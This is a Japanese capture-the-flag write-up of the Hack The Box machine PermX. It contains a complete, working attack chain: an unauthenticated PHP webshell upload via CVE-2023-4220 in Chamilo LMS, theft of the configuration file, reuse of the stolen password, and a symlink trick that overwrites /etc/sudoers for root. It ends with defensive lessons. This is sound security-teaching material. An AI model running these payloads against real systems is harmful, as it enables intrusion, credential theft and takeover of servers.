Hack The BoxのWriteup(PermX)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: PermX — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 + 302リダイレクト
→
vhost発見
permx.htb / lms.permx.htb (Chamilo)
→
CVE-2023-4220
bigUpload.php 未認証webshell
→
www-data RCE
configuration.php 読取
→
db_password流用
03F6lY3uXAP2bkW8
→
mtz SSH
user.txt ✓
→
sudo /opt/acl.sh
setfaclのシンボリックリンク追跡
→
/etc/sudoers書換
mtz ALL NOPASSWD: ALL
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p- --min-rate 2000 -oN nmap/allports.txt 10.129.92.205
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート80へアクセスすると Location: http://permx.htb への 302リダイレクトが発生する(=名前ベースの仮想ホストでホスト名解決必須)。 IPアドレス直打ちではコンテンツを閲覧できない。

/etc/hosts へドメインを登録

BASH
echo "10.129.92.205 permx.htb" | sudo tee -a /etc/hosts
curl -s -I http://permx.htb
RESULT
HTTP/1.1 200 OK
Date: Thu, 29 Oct 2026 22:08:xx GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=UTF-8
<title>eLEARNING</title>  ← 静的サイト(/var/www/html の "eLEARNING" テンプレート)
PHASE 2

サブドメイン(vhost)調査 — lms.permx.htb の発見

ffuf によるvhost(サブドメイン)ブルートフォース

BASH
# まずベースラインサイズを取得(存在しないホストのレスポンス長)
curl -s -o /dev/null -w '%{size_download}' -H "Host: doesnotexist.permx.htb" http://10.129.92.205
# -> 279

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://10.129.92.205 -H "Host: FUZZ.permx.htb" -fs 279 -t 50
RESULT
lms                     [Status: 302, Size: 0, Words: 1, Lines: 1]
  → Location: http://lms.permx.htb/index.php
ℹ️
lms.permx.htb(Learning Management System)を発見。/etc/hosts に追記して解決可能にする。

lms.permx.htb へアクセス — Chamilo LMS を確認

BASH
echo "10.129.92.205 lms.permx.htb" | sudo tee -a /etc/hosts
curl -s http://lms.permx.htb/ | grep -i chamilo
curl -s http://lms.permx.htb/documentation/changelog.html | head -5
RESULT
<meta name="generator" content="Chamilo 1.11.24">
...
<h2>Chamilo LMS 1.11.24 - Changelog</h2>
✅
Chamilo LMS バージョン 1.11.24 が稼働していることをログインページ/ドキュメントの Changelog から確定。このバージョンに既知の未認証RCEが存在する。
PHASE 3

脆弱性の特定 — CVE-2023-4220 (Chamilo bigUpload)

CVE調査

NOTE
"Chamilo 1.11.24 vulnerability" で検索すると複数のCVEが見つかるが、大半は認証後
(講師/管理者権限)が前提。未認証で使えるのは CVE-2023-4220 のみ。

CVE-2023-4220(StarLabs SG Advisory):
  - main/inc/lib/javascript/bigupload/inc/bigUpload.php の
    action=post-unsupported パスに、ファイル名・拡張子の検証が無い
    まま任意ファイルを main/inc/lib/javascript/bigupload/files/ 配下へ
    保存してしまう脆弱性。
  - .php 拡張子のファイルをアップロードし、そのままWebルート配下から
    直接実行できるため、認証不要のWebシェル設置=RCEに直結する。
  - 前提条件: main/inc/lib/javascript/bigupload/files ディレクトリが
    存在し書込可能であること(Chamilo 1.11.x では標準で存在)。
PHASE 4

エクスプロイト実行 & user.txt 取得

PHP Webシェルを作成し未認証アップロード

BASH
echo '<?php system($_GET["cmd"]); ?>' > permx_shell.php

curl -s -F 'bigUploadFile=@permx_shell.php;filename=permx_shell.php' \
  'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
RESULT
The file has successfully been uploaded.

Webシェル動作確認 — RCE成功

BASH
curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/permx_shell.php?cmd=id'
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
未認証RCE成功! 認証も講師権限も不要、ファイルアップロード1本で www-data としての任意コマンド実行を獲得した。

Chamilo設定ファイルから DB パスワードを窃取

BASH
curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/permx_shell.php?cmd=cat%20/var/www/chamilo/app/config/configuration.php'
RESULT
<?php
// Chamilo version 1.11.24
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['root_web'] = 'http://lms.permx.htb/';

ログイン可能なユーザーを列挙

BASH
curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/permx_shell.php?cmd=cat%20/etc/passwd' \
  | grep -E '/bin/bash|/bin/sh'
RESULT
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
ℹ️
ログインシェルを持つ一般ユーザーは mtz のみ。DBパスワードの再利用を試す。

パスワード再利用でSSHログイン & user.txt 取得

BASH
sshpass -p '03F6lY3uXAP2bkW8' ssh mtz@10.129.92.205 'id; cat ~/user.txt'
RESULT
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
7bcf51a33247bca1f296a487303ed712
user.txt — mtz
7bcf51a33247bca1f296a487303ed712
✅
Chamilo DB用パスワード 03F6lY3uXAP2bkW8 が mtz のSSHパスワードとしても そのまま再利用されていた。設定ファイル漏洩がそのまま横移動に直結する典型例。
PHASE 5

権限昇格の下調べ — sudo /opt/acl.sh

sudo -l で許可されたコマンドを確認

BASH
mtz@permx:~$ sudo -l
RESULT
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
🚨
mtz はパスワード無しで /opt/acl.sh を root権限で実行できる。 スクリプトの内容を確認する。

/opt/acl.sh の内容を確認

BASH
mtz@permx:~$ cat /opt/acl.sh
RESULT
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Error: Target must be a regular file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
ℹ️
ロジックの弱点: target が /home/mtz/ 配下で始まり、 文字列 .. を含まないこと、かつ [ -f "$target" ](通常ファイルであること) だけをチェックしている。

しかし Bash の test / [ -f ] はシンボリックリンクを自動的に 辿って(dereference して)判定する。つまり /home/mtz/evil -> /etc/sudoers のようなシンボリックリンクを作れば、target 文字列自体は /home/mtz/evil(チェックを通過)でありながら、最終的に setfacl が操作する実体は リンク先の /etc/sudoers になる。 パス文字列の検証とファイルシステムの実体解決がズレていることが根本原因(典型的な TOCTOU/シンボリックリンク追跡の脆弱性)。
PHASE 6

シンボリックリンク追跡による /etc/sudoers 書換 → root.txt

/etc/sudoers へのシンボリックリンクを作成

BASH
mtz@permx:~$ ln -s /etc/sudoers /home/mtz/.rootlink
mtz@permx:~$ ls -l /home/mtz/.rootlink
RESULT
lrwxrwxrwx 1 mtz mtz 12 Oct 29 22:09 /home/mtz/.rootlink -> /etc/sudoers

acl.sh 経由で mtz に /etc/sudoers への rw ACL を付与

BASH
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/.rootlink
mtz@permx:~$ getfacl /etc/sudoers
RESULT
# file: etc/sudoers
# owner: root
# group: root
user::rw-
user:mtz:rw-
group::r--
mask::rw-
other::---
✅
acl.sh のパス検証をシンボリックリンクで迂回し、本来 root 専用の /etc/sudoers に mtz の 読み書き権限を付与できた。

sudoers に自分自身へのフル権限行を追記

BASH
mtz@permx:~$ echo 'mtz ALL=(ALL:ALL) NOPASSWD: ALL' >> /home/mtz/.rootlink
mtz@permx:~$ sudo -l
RESULT
User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
    (ALL) NOPASSWD: ALL
✅
/etc/sudoers への書込み権限を得たことで、任意の行を追記するだけで 自分に無制限の sudo 権限を付与できる。visudo による構文チェックを経由しない 直接追記だが、追記内容自体の構文が正しければ sudo は問題なく読み込む。

root として root.txt 取得

BASH
mtz@permx:~$ sudo -n cat /root/root.txt
# あるいは対話シェルを取得する場合
mtz@permx:~$ sudo -i
root@permx:~# cat /root/root.txt
RESULT
9623ac14db8b00ccd3c30bcb862fe0d8
root.txt — root@permx
9623ac14db8b00ccd3c30bcb862fe0d8

補足: /etc/passwd 経由でも同じ結果が得られる

NOTE
/etc/sudoers の代わりに /etc/passwd へ同じ手順(symlink + acl.sh で rw 付与)を適用し、
openssl passwd -1 で生成したハッシュを使って uid=0/gid=0 の新規ユーザー行を追記、
su で切り替える方法でも root 化できる(本質的に同じシンボリックリンク追跡の脆弱性)。
ただし /root/root.txt を直接シンボリックリンクで指定する方法は失敗する:

mtz@permx:~$ ln -s /root/root.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root.txt
mtz@permx:~$ cat root.txt
cat: root.txt: Permission denied

理由: /root ディレクトリ自体に mtz の実行(x)権限が無いため、root.txt 単体に
ACLで read 権限を付けても mtz は /root ディレクトリを辿れずファイルへ到達できない。
sudoers/passwd のように「rootとして任意コマンドを実行できる状態」を作る方法だけが
有効(root自身は /root に当然アクセスできるため)。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — mtz
7bcf51a33247bca1f296a487303ed712
root.txt — root@permx
9623ac14db8b00ccd3c30bcb862fe0d8

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2023-4220 Chamilo LMS 1.11.24 (bigUpload.php) 未認証リモートコード実行 Critical action=post-unsupported パスにファイル名検証無しでアップロード、.php拡張子のWebシェルをそのまま配置・実行
認証情報の再利用 configuration.php の db_password 横移動(www-data → mtz) Medium DB接続用パスワードがOSユーザー mtz のSSHパスワードとしても使われていた
シンボリックリンク追跡 / パス検証バイパス /opt/acl.sh (sudo NOPASSWD) 権限昇格(mtz → root) High [[ “$target” != /home/mtz/* ]] のパス文字列チェックのみで、[ -f ] がシンボリックリンクを辿って実体を解決する点を悪用し /etc/sudoers を書換

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22/80、80番で permx.htb への302リダイレクト検出
2vhost調査ffuf Host-headerブルートフォースlms.permx.htb(Chamilo LMS 1.11.24)を発見
3CVE特定バージョン情報からの脆弱性調査CVE-2023-4220(未認証ファイルアップロードRCE)
4エクスプロイトbigUpload.php webシェルアップロード + configuration.php読取user.txt 取得(db_password再利用でmtz SSH)
5権限調査sudo -l + acl.sh ソース解析パス検証バイパス可能なシンボリックリンク脆弱性を発見
6権限昇格symlink(/etc/sudoers) + acl.sh + 追記root.txt 取得(NOPASSWD ALL化)

学んだ教訓 & 防御策

問題点防御策
Chamilo LMS のファイルアップロード機能(bigUpload.php)に拡張子・内容検証が無く、未認証で到達可能 Chamilo を既知CVE修正済みの最新バージョンへアップデートする。アップロードディレクトリでPHPの実行を無効化(.htaccess等)し、許可拡張子のホワイトリスト検証を行う。
アプリケーションのDB接続パスワードをOSユーザーのログインパスワードに再利用 用途ごとに異なる認証情報を発行する。設定ファイル(configuration.php)はWebサーバーの実行ユーザーのみが読めるよう権限を絞り、バージョン管理や漏洩経路を遮断する。
sudo で許可したカスタムスクリプト(acl.sh)のパス検証がシンボリックリンクの実体解決を考慮していない realpathで正規化した絶対パスを検証に使う、[ -L ]でシンボリックリンクそのものを拒否する、root権限が必要な操作を外部スクリプトに委譲する設計自体を避ける。
HackTheBox: PermX | 完全攻略レポート